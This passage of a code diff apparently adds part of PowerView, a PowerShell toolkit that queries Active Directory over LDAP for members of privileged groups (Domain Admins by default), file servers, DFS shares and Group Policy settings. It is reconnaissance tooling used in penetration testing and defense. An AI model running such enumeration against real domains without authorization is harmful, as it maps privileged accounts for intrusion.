"(&(objectCategory=group)(name=$GroupName)$Filter)" + } + + $Results = $GroupSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # if we're returning full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + $Group = Convert-LDAPProperty -Properties $_.Properties + $Group.PSObject.TypeNames.Add('PowerView.Group') + $Group + } + else { + # otherwise we're just returning the group name + $_.properties.samaccountname + } + } + $Results.dispose() + $GroupSearcher.dispose() + } + } + } +} + + +function Get-NetGroupMember { +<# + .SYNOPSIS + + This function users [ADSI] and LDAP to query the current AD context + or trusted domain for users in a specified group. If no GroupName is + specified, it defaults to querying the "Domain Admins" group. + This is a replacement for "net group 'name' /domain" + + .PARAMETER GroupName + + The group name to query for users. + + .PARAMETER SID + + The Group SID to query for users. If not given, it defaults to 512 "Domain Admins" + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Domain + + The domain to query for group users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER FullData + + Switch. Returns full data objects instead of just group/users. + + .PARAMETER Recurse + + Switch. If the group member is a group, recursively try to query its members as well. + + .PARAMETER UseMatchingRule + + Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified. + Much faster than manual recursion, but doesn't reveal cross-domain groups. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetGroupMember + + Returns the usernames that of members of the "Domain Admins" domain group. + + .EXAMPLE + + PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users" + + Returns the usernames that of members of the "Power Users" group in the 'testing' domain. + + .LINK + + http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $GroupName, + + [String] + $SID, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $FullData, + + [Switch] + $Recurse, + + [Switch] + $UseMatchingRule, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + if($DomainController) { + $TargetDomainController = $DomainController + } + else { + $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + } + + if($Domain) { + $TargetDomain = $Domain + } + else { + $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name + } + + # so this isn't repeated if users are passed on the pipeline + $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } + + process { + if ($GroupSearcher) { + if ($Recurse -and $UseMatchingRule) { + # resolve the group to a distinguishedname + if ($GroupName) { + $Group = Get-NetGroup -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize + } + elseif ($SID) { + $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize + } + else { + # default to domain admins + $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" + $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize + } + $GroupDN = $Group.distinguishedname + $GroupFoundName = $Group.name + + if ($GroupDN) { + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) + + $Members = $GroupSearcher.FindAll() + $GroupFoundName = $GroupName + } + else { + Write-Error "Unable to find Group" + } + } + else { + if ($GroupName) { + $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" } + elseif ($SID) { + $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" + } + else { + # default to domain admins + $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" + $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" + } + + try { + $Result = $GroupSearcher.FindOne() + } + catch { + $Members = @() + } + + $GroupFoundName = '' + + if ($Result) { + $Members = $Result.properties.item("member") + + if($Members.count -eq 0) { + + $Finished = $False + $Bottom = 0 + $Top = 0 + + while(!$Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + + $GroupSearcher.PropertiesToLoad.Clear() + [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") + [void]$GroupSearcher.PropertiesToLoad.Add("name") + try { + $Result = $GroupSearcher.FindOne() + $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" + $Members += $Result.Properties.item($RangedProperty) + $GroupFoundName = $Result.properties.item("name")[0] + + if ($Members.count -eq 0) { + $Finished = $True + } + } + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } + } + } + else { + $GroupFoundName = $Result.properties.item("name")[0] + $Members += $Result.Properties.item($RangedProperty) + } + } + $GroupSearcher.dispose() + } + + $Members | Where-Object {$_} | ForEach-Object { + # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion + if ($Recurse -and $UseMatchingRule) { + $Properties = $_.Properties + } + else { + if($TargetDomainController) { + $Result = [adsi]"LDAP://$TargetDomainController/$_" + } + else { + $Result = [adsi]"LDAP://$_" + } + if($Result){ + $Properties = $Result.Properties + } + } + + if($Properties) { + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype + + if ($FullData) { + $GroupMember = Convert-LDAPProperty -Properties $Properties + } + else { + $GroupMember = New-Object PSObject + } + + $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain + $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + + if($Properties.objectSid) { + $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) + } + else { + $MemberSID = $Null + } + + try { + $MemberDN = $Properties.distinguishedname[0] + + if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) { + try { + if(-not $MemberSID) { + $MemberSID = $Properties.cn[0] + } + $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + } + else { + Write-Warning "Error converting $MemberDN" + $MemberDomain = $Null + } + } + catch { + Write-Warning "Error converting $MemberDN" + $MemberDomain = $Null + } + } + else { + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + } + } + catch { + $MemberDN = $Null + $MemberDomain = $Null + } + + if ($Properties.samaccountname) { + # forest users have the samAccountName set + $MemberName = $Properties.samaccountname[0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $Properties.cn[0] + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties.cn + } + } + + $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID + $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN + $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember') + $GroupMember + + # if we're doing manual recursion + if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { + if($FullData) { + Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + } + else { + Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + } + } + } + } + } + } +} + + +function Get-NetFileServer { +<# + .SYNOPSIS + + Returns a list of all file servers extracted from user + homedirectory, scriptpath, and profilepath fields. + + .PARAMETER Domain + + The domain to query for user file servers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER TargetUsers + + An array of users to query for file servers. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetFileServer + + Returns active file servers. + + .EXAMPLE + + PS C:\> Get-NetFileServer -Domain testing + + Returns active file servers for the 'testing' domain. +#> + + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String[]] + $TargetUsers, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + function SplitPath { + # short internal helper to split UNC server paths + param([String]$Path) + + if ($Path -and ($Path.split("\\").Count -ge 3)) { + $Temp = $Path.split("\\")[2] + if($Temp -and ($Temp -ne '')) { + $Temp + } + } + } + + Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object { + # filter for any target users + if($TargetUsers) { + $TargetUsers -Match $_.samAccountName + } + else { $True } + } | ForEach-Object { + # split out every potential file server path + if($_.homedirectory) { + SplitPath($_.homedirectory) + } + if($_.scriptpath) { + SplitPath($_.scriptpath) + } + if($_.profilepath) { + SplitPath($_.profilepath) + } + + } | Where-Object {$_} | Sort-Object -Unique +} + + +function Get-DFSshare { +<# + .SYNOPSIS + + Returns a list of all fault-tolerant distributed file + systems for a given domain. + + .PARAMETER Version + + The version of DFS to query for servers. + 1/v1, 2/v2, or all + + .PARAMETER Domain + + The domain to query for user DFS shares, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-DFSshare + + Returns all distributed file system shares for the current domain. + + .EXAMPLE + + PS C:\> Get-DFSshare -Domain test + + Returns all distributed file system shares for the 'test' domain. +#> + + [CmdletBinding()] + param( + [String] + [ValidateSet("All","V1","1","V2","2")] + $Version = "All", + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + function Parse-Pkt { + [CmdletBinding()] + param( + [byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $null + $blob_name = $null + $target_list = $null + } + + $servers = @() + $object_list | ForEach-Object { + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split("\")[2] + } + } + } + + $servers + } + + function Get-DFSshareV1 { + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=fTDfs))" + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} + } + } + catch { + Write-Verbose "Error in parsing DFS share : $_" + } + } + } + $Results.dispose() + $DFSSearcher.dispose() + + if($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will + # have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we + # do actually want to match on "null" rather than + # $null + if ($_ -ne "null") { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } + } + catch { + Write-Warning "Get-DFSshareV1 error : $_" + } + $DFSshares | Sort-Object -Property "RemoteServerName" + } + } + + function Get-DFSshareV2 { + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" + $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split("\")[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} + } + } + catch { + Write-Verbose "Error in parsing target : $_" + } + } + } + $Results.dispose() + $DFSSearcher.dispose() + } + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property "RemoteServerName" + } + } + + $DFSshares = @() + + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } + if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } + + $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique +} + + +######################################################## +# +# GPO related functions. +# +######################################################## + +function Get-GptTmpl { +<# + .SYNOPSIS + + Helper to parse a GptTmpl.inf policy file path into a custom object. + + .PARAMETER GptTmplPath + + The GptTmpl.inf file path name to parse. + + .PARAMETER UsePSDrive + + Switch. Mount the target GptTmpl folder path as a temporary PSDrive. + + .EXAMPLE + + PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + Parse the default domain policy .inf for dev.testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GptTmplPath, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GptTmplPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Verbose "Error mounting path $GptTmplPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $TargetGptTmplPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGptTmplPath = $GptTmplPath + } + Write-Verbose "GptTmplPath: $GptTmplPath" + } + + process { + try { + Write-Verbose "Parsing $TargetGptTmplPath" + $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue + } + catch { + Write-Verbose "Error parsing $TargetGptTmplPath : $_" + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + } + } +} + + +function Get-GroupsXML { +<# + .SYNOPSIS + + Helper to parse a groups.xml file path into a custom object. + + .PARAMETER GroupsXMLpath + + The groups.xml file path name to parse. + + .PARAMETER UsePSDrive + + Switch. Mount the target groups.xml folder path as a temporary PSDrive. +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GroupsXMLPath, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GroupsXMLPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Verbose "Error mounting path $GroupsXMLPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGroupsXMLPath = $GroupsXMLPath + } + } + + process { + + try { + [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { + + $Groupname = $_.Group.Properties.groupName + + # extract the localgroup sid for memberof + $GroupSID = $_.Group.Properties.GroupSid + if(-not $LocalSid) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + else { + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + } + + # extract out members added to this group + $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if($_.sid) { $_.sid } + else { $_.name } + } + + if ($Members) { + + # extract out any/all filters...I hate you GPP + if($_.Group.filters) { + $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + else { + $Filters = $Null + } + + if($Members -isnot [System.Array]) { $Members = @($Members) } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GPOGroup | Add-Member Noteproperty 'Filters' $Filters + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members + $GPOGroup + } + } + } + catch { + Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + } + } +} + + +function Get-NetGPO { +<# + .SYNOPSIS + + Gets a list of all current GPOs in a domain. + + .PARAMETER GPOname + + The GPO name to query for, wildcards accepted. + + .PARAMETER DisplayName + + The GPO display name to query for, wildcards accepted. + + .PARAMETER ComputerName + + Return all GPO objects applied to a given computer (FQDN). + + .PARAMETER Domain + + The domain to query for GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetGPO -Domain testlab.local + + Returns the GPOs in the 'testlab.local' domain. +#> + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $GPOname = '*', + + [String] + $DisplayName, + + [String] + $ComputerName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } + + process { + if ($GPOSearcher) { + + if($ComputerName) { + $GPONames = @() + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + + if(!$Computers) { + throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" + } + + # get the given computer's OU + $ComputerOUs = @() + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname + + $ComputerOUs += $DN.split(",") | ForEach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + + Write-Verbose "ComputerOUs: $ComputerOUs" + + # find all the GPOs linked to the computer's OU + ForEach($ComputerOU in $ComputerOUs) { + $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { + # get any GPO links + write-verbose "blah: $($_.name)" + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + + Write-Verbose "GPONames: $GPONames" + + # find any GPOs linked to the site for the given computer + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { + $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + } + + $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { + + # use the gplink as 